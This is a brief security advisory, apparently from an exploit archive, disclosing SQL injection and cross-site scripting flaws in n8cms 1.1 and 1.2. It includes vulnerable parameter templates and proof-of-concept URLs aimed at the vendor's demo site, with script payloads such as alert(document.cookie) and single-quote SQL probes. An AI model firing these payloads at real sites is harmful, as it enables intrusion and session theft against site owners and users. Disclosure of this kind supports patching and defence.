n8cmsFlaws.txt

`-----------------------------------------------------------------  
n8cms 1.1 & 1.2 version  
  
Sql Ýnjection And XSS  
  
Site:http://www.nathanlandry.com  
  
Demo:http://www.nathanlandry.com/n8cms_v1.1/  
  
Credit : Liz0ziM   
webpage:www.biyosecuerity.com   
Mail :[email protected]  
  
--------------------------------------------------------------------  
  
1)Sql Ýnjection  
  
  
http://[target]/path/?dir=[sql]  
  
http://[target]/path/?dir=home&page_id=[sql]  
  
2)Xss [ Cross Site Scripting ]  
  
http://[target]/path/?dir=[xss]  
  
http://[target]/path/?dir=home&page_id=[xss]  
  
http://[target]/path/mailto.php?userid=[xss]  
  
  
---------------------------------------------------------------------  
example:  
  
Sql:  
  
http://www.nathanlandry.com/n8cms_v1.1/?dir=home&page_id='  
http://www.nathanlandry.com/n8cms_v1.1/?dir='  
  
Xss:  
  
http://www.nathanlandry.com/n8cms_v1.1/?dir="><script>alert(document.cookie)</script>  
http://www.nathanlandry.com/n8cms_v1.1/?dir="><script>alert(/BiyoSecurityTeam/)</script>  
http://www.nathanlandry.com/n8cms_v1.1/?dir=home&page_id="><script>alert(/BiyoSecurityTeam/)</script>  
http://www.nathanlandry.com/n8cms_v1.1/mailto.php?userid="><script>alert(/BiyoSecurityTeam/)</script>  
  
  
  
  
  
----------------------------------------------------------------------  
  
Source:  
  
http://www.blogcu.com/Liz0ziM/307940/  
  
http://biyosecurity.be/bugs/n8cms.txt  
  
  
  
  
--   
`